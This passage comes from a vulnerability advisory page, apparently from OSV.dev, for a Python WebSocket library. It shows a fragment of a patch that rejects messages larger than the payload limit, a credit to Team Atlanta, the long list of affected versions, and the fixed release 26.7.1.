+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 07, 2018

Activity

Reach

Details